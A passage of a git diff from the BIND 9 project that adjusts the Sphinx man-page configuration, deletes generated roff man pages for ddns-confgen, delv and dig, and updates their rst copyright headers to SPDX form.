+    ("named", "named", "Internet domain name server", author, 8),
+    ("nsec3hash", "nsec3hash", "generate NSEC3 hash", author, 1),
+    ("nslookup", "nslookup", "query Internet name servers interactively", author, 1),
+    ("nsupdate", "nsupdate", "dynamic DNS update utility", author, 1),
+    ("rndc-confgen", "rndc-confgen", "rndc key generation tool", author, 8),
+    ("rndc.conf", "rndc.conf", "rndc configuration file", author, 5),
+    ("rndc", "rndc", "name server control utility", author, 8),
+    ("tsig-keygen", "tsig-keygen", "TSIG key generation tool", author, 8),
+]
+
+#
+# The rst_epilog will be completely overwritten from the Makefile,
+# the definition here is provided purely for situations when
+# sphinx-build is run by hand.
+#
+rst_epilog = """
+.. |rndc_conf| replace:: ``@sysconfdir@/rndc.conf``
+.. |rndc_key| replace:: ``@sysconfdir@/rndc.key``
+.. |named_conf| replace:: ``@sysconfdir@/named.conf``
+.. |named_pid| replace:: ``@runstatedir@/named.pid``
+.. |session_key| replace:: ``@runstatedir@/session.key``
+"""
+
+
+def setup(app):
+    app.add_crossref_type("iscman", "iscman", "pair: %s; manual page")
diff --git a/doc/man/ddns-confgen.8in b/doc/man/ddns-confgen.8in
deleted file mode 100644
index ab5939d2aa..0000000000
--- a/doc/man/ddns-confgen.8in
+++ /dev/null
@@ -1,109 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "DDNS-CONFGEN" "8" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-ddns-confgen \- ddns key generation tool
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBtsig\-keygen\fP [\fB\-a\fP algorithm] [\fB\-h\fP] [\fB\-r\fP randomfile] [name]
-.sp
-\fBddns\-confgen\fP [\fB\-a\fP algorithm] [\fB\-h\fP] [\fB\-k\fP keyname] [\fB\-q\fP] [\fB\-r\fP randomfile] [\fB\-s\fP name] [\fB\-z\fP zone]
-.SH DESCRIPTION
-.sp
-\fBtsig\-keygen\fP and \fBddns\-confgen\fP are invocation methods for a
-utility that generates keys for use in TSIG signing. The resulting keys
-can be used, for example, to secure dynamic DNS updates to a zone, or for
-the \fBrndc\fP command channel.
-.sp
-When run as \fBtsig\-keygen\fP, a domain name can be specified on the
-command line to be used as the name of the generated key. If no
-name is specified, the default is \fBtsig\-key\fP\&.
-.sp
-When run as \fBddns\-confgen\fP, the key name can specified using \fB\-k\fP
-parameter and defaults to \fBddns\-key\fP\&. The generated key is accompanied
-by configuration text and instructions that can be used with \fBnsupdate\fP
-and \fBnamed\fP when setting up dynamic DNS, including an example
-\fBupdate\-policy\fP statement. (This usage is similar to the \fBrndc\-confgen\fP
-command for setting up command\-channel security.)
-.sp
-Note that \fBnamed\fP itself can configure a local DDNS key for use with
-\fBnsupdate \-l\fP; it does this when a zone is configured with
-\fBupdate\-policy local;\fP\&. \fBddns\-confgen\fP is only needed when a more
-elaborate configuration is required: for instance, if \fBnsupdate\fP is to
-be used from a remote system.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-a algorithm\fP
-This option specifies the algorithm to use for the TSIG key. Available
-choices are: hmac\-md5, hmac\-sha1, hmac\-sha224, hmac\-sha256, hmac\-sha384,
-and hmac\-sha512. The default is hmac\-sha256. Options are
-case\-insensitive, and the "hmac\-" prefix may be omitted.
-.TP
-.B \fB\-h\fP
-This option prints a short summary of options and arguments.
-.TP
-.B \fB\-k keyname\fP
-This option specifies the key name of the DDNS authentication key. The
-default is \fBddns\-key\fP when neither the \fB\-s\fP nor \fB\-z\fP option is
-specified; otherwise, the default is \fBddns\-key\fP as a separate label
-followed by the argument of the option, e.g., \fBddns\-key.example.com.\fP
-The key name must have the format of a valid domain name, consisting of
-letters, digits, hyphens, and periods.
-.TP
-.B \fB\-q\fP (\fBddns\-confgen\fP only)
-This option enables quiet mode, which prints only the key, with no
-explanatory text or usage examples. This is essentially identical to
-\fBtsig\-keygen\fP\&.
-.TP
-.B \fB\-s name\fP (\fBddns\-confgen\fP only)
-This option generates a configuration example to allow dynamic updates
-of a single hostname. The example \fBnamed.conf\fP text shows how to set
-an update policy for the specified name using the "name" nametype. The
-default key name is \fBddns\-key.name\fP\&. Note that the "self" nametype
-cannot be used, since the name to be updated may differ from the key
-name. This option cannot be used with the \fB\-z\fP option.
-.TP
-.B \fB\-z zone\fP (\fBddns\-confgen\fP only)
-This option generates a configuration example to allow
-dynamic updates of a zone. The example \fBnamed.conf\fP text shows how
-to set an update policy for the specified zone using the "zonesub"
-nametype, allowing updates to all subdomain names within that zone.
-This option cannot be used with the \fB\-s\fP option.
-.UNINDENT
-.SH SEE ALSO
-.sp
-\fBnsupdate(1)\fP, \fBnamed.conf(5)\fP, \fBnamed(8)\fP, BIND 9 Administrator Reference Manual.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/ddns-confgen.rst b/doc/man/ddns-confgen.rst
index 21cb1ddbac..891102f407 100644
--- a/doc/man/ddns-confgen.rst
+++ b/doc/man/ddns-confgen.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/confgen/tsig-keygen.rst
+.. include:: ../../bin/confgen/ddns-confgen.rst
diff --git a/doc/man/delv.1in b/doc/man/delv.1in
deleted file mode 100644
index baab36d879..0000000000
--- a/doc/man/delv.1in
+++ /dev/null
@@ -1,345 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "DELV" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-delv \- DNS lookup and validation utility
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBdelv\fP [@server] [ [\fB\-4\fP] | [\fB\-6\fP] ] [\fB\-a\fP anchor\-file] [\fB\-b\fP address] [\fB\-c\fP class] [\fB\-d\fP level] [\fB\-i\fP] [\fB\-m\fP] [\fB\-p\fP port#] [\fB\-q\fP name] [\fB\-t\fP type] [\fB\-x\fP addr] [name] [type] [class] [queryopt...]
-.sp
-\fBdelv\fP [\fB\-h\fP]
-.sp
-\fBdelv\fP [\fB\-v\fP]
-.sp
-\fBdelv\fP [queryopt...] [query...]
-.SH DESCRIPTION
-.sp
-\fBdelv\fP is a tool for sending DNS queries and validating the results,
-using the same internal resolver and validator logic as \fBnamed\fP\&.
-.sp
-\fBdelv\fP sends to a specified name server all queries needed to
-fetch and validate the requested data; this includes the original
-requested query, subsequent queries to follow CNAME or DNAME chains,
-queries for DNSKEY, and DS records to establish a chain of trust for
-DNSSEC validation. It does not perform iterative resolution, but
-simulates the behavior of a name server configured for DNSSEC validating
-and forwarding.
-.sp
-By default, responses are validated using the built\-in DNSSEC trust anchor
-for the root zone ("."). Records returned by \fBdelv\fP are either fully
-validated or were not signed. If validation fails, an explanation of the
-failure is included in the output; the validation process can be traced
-in detail. Because \fBdelv\fP does not rely on an external server to carry
-out validation, it can be used to check the validity of DNS responses in
-environments where local name servers may not be trustworthy.
-.sp
-Unless it is told to query a specific name server, \fBdelv\fP tries
-each of the servers listed in \fB/etc/resolv.conf\fP\&. If no usable server
-addresses are found, \fBdelv\fP sends queries to the localhost
-addresses (127.0.0.1 for IPv4, ::1 for IPv6).
-.sp
-When no command\-line arguments or options are given, \fBdelv\fP
-performs an NS query for "." (the root zone).
-.SH SIMPLE USAGE
-.sp
-A typical invocation of \fBdelv\fP looks like:
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-delv @server name type
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.sp
-where:
-.INDENT 0.0
-.TP
-.B \fBserver\fP
-is the name or IP address of the name server to query. This can be an
-IPv4 address in dotted\-decimal notation or an IPv6 address in
-colon\-delimited notation. When the supplied \fBserver\fP argument is a
-hostname, \fBdelv\fP resolves that name before querying that name
-server (note, however, that this initial lookup is \fInot\fP validated by
-DNSSEC).
-.sp
-If no \fBserver\fP argument is provided, \fBdelv\fP consults
-\fB/etc/resolv.conf\fP; if an address is found there, it queries the
-name server at that address. If either of the \fB\-4\fP or \fB\-6\fP
-options is in use, then only addresses for the corresponding
-transport are tried. If no usable addresses are found, \fBdelv\fP
-sends queries to the localhost addresses (127.0.0.1 for IPv4, ::1
-for IPv6).
-.TP
-.B \fBname\fP
-is the domain name to be looked up.
-.TP
-.B \fBtype\fP
-indicates what type of query is required \- ANY, A, MX, etc.
-\fBtype\fP can be any valid query type. If no \fBtype\fP argument is
-supplied, \fBdelv\fP performs a lookup for an A record.
-.UNINDENT
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-a anchor\-file\fP
-This option specifies a file from which to read DNSSEC trust anchors. The default
-is \fB/etc/bind.keys\fP, which is included with BIND 9 and contains one
-or more trust anchors for the root zone (".").
-.sp
-Keys that do not match the root zone name are ignored. An alternate
-key name can be specified using the \fB+root=NAME\fP options.
-.sp
-Note: When reading the trust anchor file, \fBdelv\fP treats \fBtrust\-anchors\fP,
-\fBinitial\-key\fP, and \fBstatic\-key\fP identically. That is, for a managed key,
-it is the \fIinitial\fP key that is trusted; \fI\%RFC 5011\fP key management is not
-supported. \fBdelv\fP does not consult the managed\-keys database maintained by
-\fBnamed\fP, which means that if either of the keys in \fB/etc/bind.keys\fP is
-revoked and rolled over, \fB/etc/bind.keys\fP must be updated to
-use DNSSEC validation in \fBdelv\fP\&.
-.TP
-.B \fB\-b address\fP
-This option sets the source IP address of the query to \fBaddress\fP\&. This must be
-a valid address on one of the host\(aqs network interfaces, or \fB0.0.0.0\fP,
-or \fB::\fP\&. An optional source port may be specified by appending
-\fB#<port>\fP
-.TP
-.B \fB\-c class\fP
-This option sets the query class for the requested data. Currently, only class
-"IN" is supported in \fBdelv\fP and any other value is ignored.
-.TP
-.B \fB\-d level\fP
-This option sets the systemwide debug level to \fBlevel\fP\&. The allowed range is
-from 0 to 99. The default is 0 (no debugging). Debugging traces from
-\fBdelv\fP become more verbose as the debug level increases. See the
-\fB+mtrace\fP, \fB+rtrace\fP, and \fB+vtrace\fP options below for
-additional debugging details.
-.TP
-.B \fB\-h\fP
-This option displays the \fBdelv\fP help usage output and exits.
-.TP
-.B \fB\-i\fP
-This option sets insecure mode, which disables internal DNSSEC validation. (Note,
-however, that this does not set the CD bit on upstream queries. If the
-server being queried is performing DNSSEC validation, then it does
-not return invalid data; this can cause \fBdelv\fP to time out. When it
-is necessary to examine invalid data to debug a DNSSEC problem, use
-\fBdig +cd\fP\&.)
-.TP
-.B \fB\-m\fP
-This option enables memory usage debugging.
-.TP
-.B \fB\-p port#\fP
-This option specifies a destination port to use for queries, instead of the
-standard DNS port number 53. This option is used with a name
-server that has been configured to listen for queries on a
-non\-standard port number.
-.TP
-.B \fB\-q name\fP
-This option sets the query name to \fBname\fP\&. While the query name can be
-specified without using the \fB\-q\fP option, it is sometimes necessary to
-disambiguate names from types or classes (for example, when looking
-up the name "ns", which could be misinterpreted as the type NS, or
-"ch", which could be misinterpreted as class CH).
-.TP
-.B \fB\-t type\fP
-This option sets the query type to \fBtype\fP, which can be any valid query type
-supported in BIND 9 except for zone transfer types AXFR and IXFR. As
-with \fB\-q\fP, this is useful to distinguish query\-name types or classes
-when they are ambiguous. It is sometimes necessary to disambiguate
-names from types.
-.sp
-The default query type is "A", unless the \fB\-x\fP option is supplied
-to indicate a reverse lookup, in which case it is "PTR".
-.TP
-.B \fB\-v\fP
-This option prints the \fBdelv\fP version and exits.
-.TP
-.B \fB\-x addr\fP
-This option performs a reverse lookup, mapping an address to a name. \fBaddr\fP
-is an IPv4 address in dotted\-decimal notation, or a colon\-delimited
-IPv6 address. When \fB\-x\fP is used, there is no need to provide the
-\fBname\fP or \fBtype\fP arguments; \fBdelv\fP automatically performs a
-lookup for a name like \fB11.12.13.10.in\-addr.arpa\fP and sets the
-query type to PTR. IPv6 addresses are looked up using nibble format
-under the IP6.ARPA domain.
-.TP
-.B \fB\-4\fP
-This option forces \fBdelv\fP to only use IPv4.
-.TP
-.B \fB\-6\fP
-This option forces \fBdelv\fP to only use IPv6.
-.UNINDENT
-.SH QUERY OPTIONS
-.sp
-\fBdelv\fP provides a number of query options which affect the way results
-are displayed, and in some cases the way lookups are performed.
-.sp
-Each query option is identified by a keyword preceded by a plus sign
-(\fB+\fP). Some keywords set or reset an option. These may be preceded by
-the string \fBno\fP to negate the meaning of that keyword. Other keywords
-assign values to options like the timeout interval. They have the form
-\fB+keyword=value\fP\&. The query options are:
-.INDENT 0.0
-.TP
-.B \fB+[no]cdflag\fP
-This option controls whether to set the CD (checking disabled) bit in queries
-sent by \fBdelv\fP\&. This may be useful when troubleshooting DNSSEC
-problems from behind a validating resolver. A validating resolver
-blocks invalid responses, making it difficult to retrieve them
-for analysis. Setting the CD flag on queries causes the resolver
-to return invalid responses, which \fBdelv\fP can then validate
-internally and report the errors in detail.
-.TP
-.B \fB+[no]class\fP
-This option controls whether to display the CLASS when printing a record. The
-default is to display the CLASS.
-.TP
-.B \fB+[no]ttl\fP
-This option controls whether to display the TTL when printing a record. The
-default is to display the TTL.
-.TP
-.B \fB+[no]rtrace\fP
-This option toggles resolver fetch logging. This reports the name and type of each
-query sent by \fBdelv\fP in the process of carrying out the resolution
-and validation process, including the original query
-and all subsequent queries to follow CNAMEs and to establish a chain
-of trust for DNSSEC validation.
-.sp
-This is equivalent to setting the debug level to 1 in the "resolver"
-logging category. Setting the systemwide debug level to 1 using the
-\fB\-d\fP option produces the same output, but affects other
-logging categories as well.
-.TP
-.B \fB+[no]mtrace\fP
-This option toggles message logging. This produces a detailed dump of the
-responses received by \fBdelv\fP in the process of carrying out the
-resolution and validation process.
-.sp
-This is equivalent to setting the debug level to 10 for the "packets"
-module of the "resolver" logging category. Setting the systemwide
-debug level to 10 using the \fB\-d\fP option produces the same
-output, but affects other logging categories as well.
-.TP
-.B \fB+[no]vtrace\fP
-This option toggles validation logging. This shows the internal process of the
-validator as it determines whether an answer is validly signed,
-unsigned, or invalid.
-.sp
-This is equivalent to setting the debug level to 3 for the
-"validator" module of the "dnssec" logging category. Setting the
-systemwide debug level to 3 using the \fB\-d\fP option produces the
-same output, but affects other logging categories as well.
-.TP
-.B \fB+[no]short\fP
-This option toggles between verbose and terse answers. The default is to print the answer in a
-verbose form.
-.TP
-.B \fB+[no]comments\fP
-This option toggles the display of comment lines in the output. The default is to
-print comments.
-.TP
-.B \fB+[no]rrcomments\fP
-This option toggles the display of per\-record comments in the output (for example,
-human\-readable key information about DNSKEY records). The default is
-to print per\-record comments.
-.TP
-.B \fB+[no]crypto\fP
-This option toggles the display of cryptographic fields in DNSSEC records. The
-contents of these fields are unnecessary to debug most DNSSEC
-validation failures and removing them makes it easier to see the
-common failures. The default is to display the fields. When omitted,
-they are replaced by the string \fB[omitted]\fP or, in the DNSKEY case, the
-key ID is displayed as the replacement, e.g. \fB[ key id = value ]\fP\&.
-.TP
-.B \fB+[no]trust\fP
-This option controls whether to display the trust level when printing a record.
-The default is to display the trust level.
-.TP
-.B \fB+[no]split[=W]\fP
-This option splits long hex\- or base64\-formatted fields in resource records into
-chunks of \fBW\fP characters (where \fBW\fP is rounded up to the nearest
-multiple of 4). \fB+nosplit\fP or \fB+split=0\fP causes fields not to be
-split at all. The default is 56 characters, or 44 characters when
-multiline mode is active.
-.TP
-.B \fB+[no]all\fP
-This option sets or clears the display options \fB+[no]comments\fP,
-\fB+[no]rrcomments\fP, and \fB+[no]trust\fP as a group.
-.TP
-.B \fB+[no]multiline\fP
-This option prints long records (such as RRSIG, DNSKEY, and SOA records) in a
-verbose multi\-line format with human\-readable comments. The default
-is to print each record on a single line, to facilitate machine
-parsing of the \fBdelv\fP output.
-.TP
-.B \fB+[no]dnssec\fP
-This option indicates whether to display RRSIG records in the \fBdelv\fP output.
-The default is to do so. Note that (unlike in \fBdig\fP) this does
-\fInot\fP control whether to request DNSSEC records or to
-validate them. DNSSEC records are always requested, and validation
-always occurs unless suppressed by the use of \fB\-i\fP or
-\fB+noroot\fP\&.
-.TP
-.B \fB+[no]root[=ROOT]\fP
-This option indicates whether to perform conventional DNSSEC validation, and if so,
-specifies the name of a trust anchor. The default is to validate using a
-trust anchor of "." (the root zone), for which there is a built\-in key. If
-specifying a different trust anchor, then \fB\-a\fP must be used to specify a
-file containing the key.
-.TP
-.B \fB+[no]tcp\fP
-This option controls whether to use TCP when sending queries. The default is to
-use UDP unless a truncated response has been received.
-.TP
-.B \fB+[no]unknownformat\fP
-This option prints all RDATA in unknown RR\-type presentation format (\fI\%RFC 3597\fP).
-The default is to print RDATA for known types in the type\(aqs
-presentation format.
-.TP
-.B \fB+[no]yaml\fP
-This option prints response data in YAML format.
-.UNINDENT
-.SH FILES
-.sp
-\fB/etc/bind.keys\fP
-.sp
-\fB/etc/resolv.conf\fP
-.SH SEE ALSO
-.sp
-\fBdig(1)\fP, \fBnamed(8)\fP, \fI\%RFC 4034\fP, \fI\%RFC 4035\fP, \fI\%RFC 4431\fP, \fI\%RFC 5074\fP, \fI\%RFC 5155\fP\&.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/delv.rst b/doc/man/delv.rst
index 5cd30a02cb..8f3b54866b 100644
--- a/doc/man/delv.rst
+++ b/doc/man/delv.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/delv/delv.rst
\ No newline at end of file
+.. include:: ../../bin/delv/delv.rst
diff --git a/doc/man/dig.1in b/doc/man/dig.1in
deleted file mode 100644
index bc42c4d543..0000000000
--- a/doc/man/dig.1in
+++ /dev/null
@@ -1,680 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "DIG" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-dig \- DNS lookup utility
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBdig\fP [@server] [\fB\-b\fP address] [\fB\-c\fP class] [\fB\-f\fP filename] [\fB\-k\fP filename] [\fB\-m\fP] [\fB\-p\fP port#] [\fB\-q\fP name] [\fB\-t\fP type] [\fB\-v\fP] [\fB\-x\fP addr] [\fB\-y\fP [hmac:]name:key] [ [\fB\-4\fP] | [\fB\-6\fP] ] [name] [type] [class] [queryopt...]
-.sp
-\fBdig\fP [\fB\-h\fP]
-.sp
-\fBdig\fP [global\-queryopt...] [query...]
-.SH DESCRIPTION
-.sp
-\fBdig\fP is a flexible tool for interrogating DNS name servers. It
-performs DNS lookups and displays the answers that are returned from the
-name server(s) that were queried. Most DNS administrators use \fBdig\fP to
-troubleshoot DNS problems because of its flexibility, ease of use, and
-clarity of output. Other lookup tools tend to have less functionality
-than \fBdig\fP\&.
-.sp
-Although \fBdig\fP is normally used with command\-line arguments, it also
-has a batch mode of operation for reading lookup requests from a file. A
-brief summary of its command\-line arguments and options is printed when
-the \fB\-h\fP option is given. The BIND 9
-implementation of \fBdig\fP allows multiple lookups to be issued from the
-command line.
-.sp
-Unless it is told to query a specific name server, \fBdig\fP tries each
-of the servers listed in \fB/etc/resolv.conf\fP\&. If no usable server
-addresses are found, \fBdig\fP sends the query to the local host.
-.sp
-When no command\-line arguments or options are given, \fBdig\fP
-performs an NS query for "." (the root).
-.sp
-It is possible to set per\-user defaults for \fBdig\fP via
-\fB${HOME}/.digrc\fP\&. This file is read and any options in it are applied
-before the command\-line arguments. The \fB\-r\fP option disables this
-feature, for scripts that need predictable behavior.
-.sp
-The IN and CH class names overlap with the IN and CH top\-level domain
-names. Either use the \fB\-t\fP and \fB\-c\fP options to specify the type and
-class, use the \fB\-q\fP to specify the domain name, or use "IN." and
-"CH." when looking up these top\-level domains.
-.SH SIMPLE USAGE
-.sp
-A typical invocation of \fBdig\fP looks like:
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-dig @server name type
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.sp
-where:
-.INDENT 0.0
-.TP
-.B \fBserver\fP
-is the name or IP address of the name server to query. This can be an
-IPv4 address in dotted\-decimal notation or an IPv6 address in
-colon\-delimited notation. When the supplied \fBserver\fP argument is a
-hostname, \fBdig\fP resolves that name before querying that name
-server.
-.sp
-If no \fBserver\fP argument is provided, \fBdig\fP consults
-\fB/etc/resolv.conf\fP; if an address is found there, it queries the
-name server at that address. If either of the \fB\-4\fP or \fB\-6\fP
-options are in use, then only addresses for the corresponding
-transport are tried. If no usable addresses are found, \fBdig\fP
-sends the query to the local host. The reply from the name server
-that responds is displayed.
-.TP
-.B \fBname\fP
-is the name of the resource record that is to be looked up.
-.TP
-.B \fBtype\fP
-indicates what type of query is required \- ANY, A, MX, SIG, etc.
-\fBtype\fP can be any valid query type. If no \fBtype\fP argument is
-supplied, \fBdig\fP performs a lookup for an A record.
-.UNINDENT
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-4\fP
-This option indicates that only IPv4 should be used.
-.TP
-.B \fB\-6\fP
-This option indicates that only IPv6 should be used.
-.TP
-.B \fB\-b address[#port]\fP
-This option sets the source IP address of the query. The \fBaddress\fP must be a
-valid address on one of the host\(aqs network interfaces, or "0.0.0.0"
-or "::". An optional port may be specified by appending \fB#port\fP\&.
-.TP
-.B \fB\-c class\fP
-This option sets the query class. The default \fBclass\fP is IN; other classes are
-HS for Hesiod records or CH for Chaosnet records.
-.TP
-.B \fB\-f file\fP
-This option sets batch mode, in which \fBdig\fP reads a list of lookup requests to process from
-the given \fBfile\fP\&. Each line in the file should be organized in the
-same way it would be presented as a query to \fBdig\fP using the
-command\-line interface.
-.TP
-.B \fB\-k keyfile\fP
-This option tells \fBnamed\fP to sign queries using TSIG using a key read from the given file. Key
-files can be generated using \fBtsig\-keygen\fP\&. When using TSIG
-authentication with \fBdig\fP, the name server that is queried needs to
-know the key and algorithm that is being used. In BIND, this is done
-by providing appropriate \fBkey\fP and \fBserver\fP statements in
-\fBnamed.conf\fP\&.
-.TP
-.B \fB\-m\fP
-This option enables memory usage debugging.
-.TP
-.B \fB\-p port\fP
-This option sends the query to a non\-standard port on the server, instead of the
-default port 53. This option is used to test a name server that
-has been configured to listen for queries on a non\-standard port
-number.
-.TP
-.B \fB\-q name\fP
-This option specifies the domain name to query. This is useful to distinguish the \fBname\fP
-from other arguments.
-.TP
-.B \fB\-r\fP
-This option indicates that options from \fB${HOME}/.digrc\fP should not be read. This is useful for
-scripts that need predictable behavior.
-.TP
-.B \fB\-t type\fP
-This option indicates the resource record type to query, which can be any valid query type. If
-it is a resource record type supported in BIND 9, it can be given by
-the type mnemonic (such as \fBNS\fP or \fBAAAA\fP). The default query type is
-\fBA\fP, unless the \fB\-x\fP option is supplied to indicate a reverse
-lookup. A zone transfer can be requested by specifying a type of
-AXFR. When an incremental zone transfer (IXFR) is required, set the
-\fBtype\fP to \fBixfr=N\fP\&. The incremental zone transfer contains
-all changes made to the zone since the serial number in the zone\(aqs
-SOA record was \fBN\fP\&.
-.sp
-All resource record types can be expressed as \fBTYPEnn\fP, where \fBnn\fP is
-the number of the type. If the resource record type is not supported
-in BIND 9, the result is displayed as described in \fI\%RFC 3597\fP\&.
-.TP
-.B \fB\-u\fP
-This option indicates that print query times should be provided in microseconds instead of milliseconds.
-.TP
-.B \fB\-v\fP
-This option prints the version number and exits.
-.TP
-.B \fB\-x addr\fP
-This option sets simplified reverse lookups, for mapping addresses to names. The
-\fBaddr\fP is an IPv4 address in dotted\-decimal notation, or a
-colon\-delimited IPv6 address. When the \fB\-x\fP option is used, there is no
-need to provide the \fBname\fP, \fBclass\fP, and \fBtype\fP arguments.
-\fBdig\fP automatically performs a lookup for a name like
-\fB94.2.0.192.in\-addr.arpa\fP and sets the query type and class to PTR
-and IN respectively. IPv6 addresses are looked up using nibble format
-under the IP6.ARPA domain.
-.TP
-.B \fB\-y [hmac:]keyname:secret\fP
-This option signs queries using TSIG with the given authentication key.
-\fBkeyname\fP is the name of the key, and \fBsecret\fP is the
-base64\-encoded shared secret. \fBhmac\fP is the name of the key algorithm;
-valid choices are \fBhmac\-md5\fP, \fBhmac\-sha1\fP, \fBhmac\-sha224\fP,
-\fBhmac\-sha256\fP, \fBhmac\-sha384\fP, or \fBhmac\-sha512\fP\&. If \fBhmac\fP is
-not specified, the default is \fBhmac\-md5\fP; if MD5 was disabled, the default is
-\fBhmac\-sha256\fP\&.
-.UNINDENT
-.sp
-\fBNOTE:\fP
-.INDENT 0.0
-.INDENT 3.5
-Only the \fB\-k\fP option should be used, rather than the \fB\-y\fP option,
-because with \fB\-y\fP the shared secret is supplied as a command\-line
-argument in clear text. This may be visible in the output from \fBps1\fP or
-in a history file maintained by the user\(aqs shell.
-.UNINDENT
-.UNINDENT
-.SH QUERY OPTIONS
-.sp
-\fBdig\fP provides a number of query options which affect the way in which
-lookups are made and the results displayed. Some of these set or reset
-flag bits in the query header, some determine which sections of the
-answer get printed, and others determine the timeout and retry
-strategies.
-.sp
-Each query option is identified by a keyword preceded by a plus sign
-(\fB+\fP). Some keywords set or reset an option; these may be preceded by
-the string \fBno\fP to negate the meaning of that keyword. Other keywords
-assign values to options, like the timeout interval. They have the form
-\fB+keyword=value\fP\&. Keywords may be abbreviated, provided the
-abbreviation is unambiguous; for example, \fB+cd\fP is equivalent to
-\fB+cdflag\fP\&. The query options are:
-.INDENT 0.0
-.TP
-.B \fB+[no]aaflag\fP
-This option is a synonym for \fB+[no]aaonly\fP\&.
-.TP
-.B \fB+[no]aaonly\fP
-This option sets the \fBaa\fP flag in the query.
-.TP
-.B \fB+[no]additional\fP
-This option displays [or does not display] the additional section of a reply. The
-default is to display it.
-.TP
-.B \fB+[no]adflag\fP
-This option sets [or does not set] the AD (authentic data) bit in the query. This
-requests the server to return whether all of the answer and authority
-sections have been validated as secure, according to the security
-policy of the server. \fBAD=1\fP indicates that all records have been
-validated as secure and the answer is not from a OPT\-OUT range. \fBAD=0\fP
-indicates that some part of the answer was insecure or not validated.
-This bit is set by default.
-.TP
-.B \fB+[no]all\fP
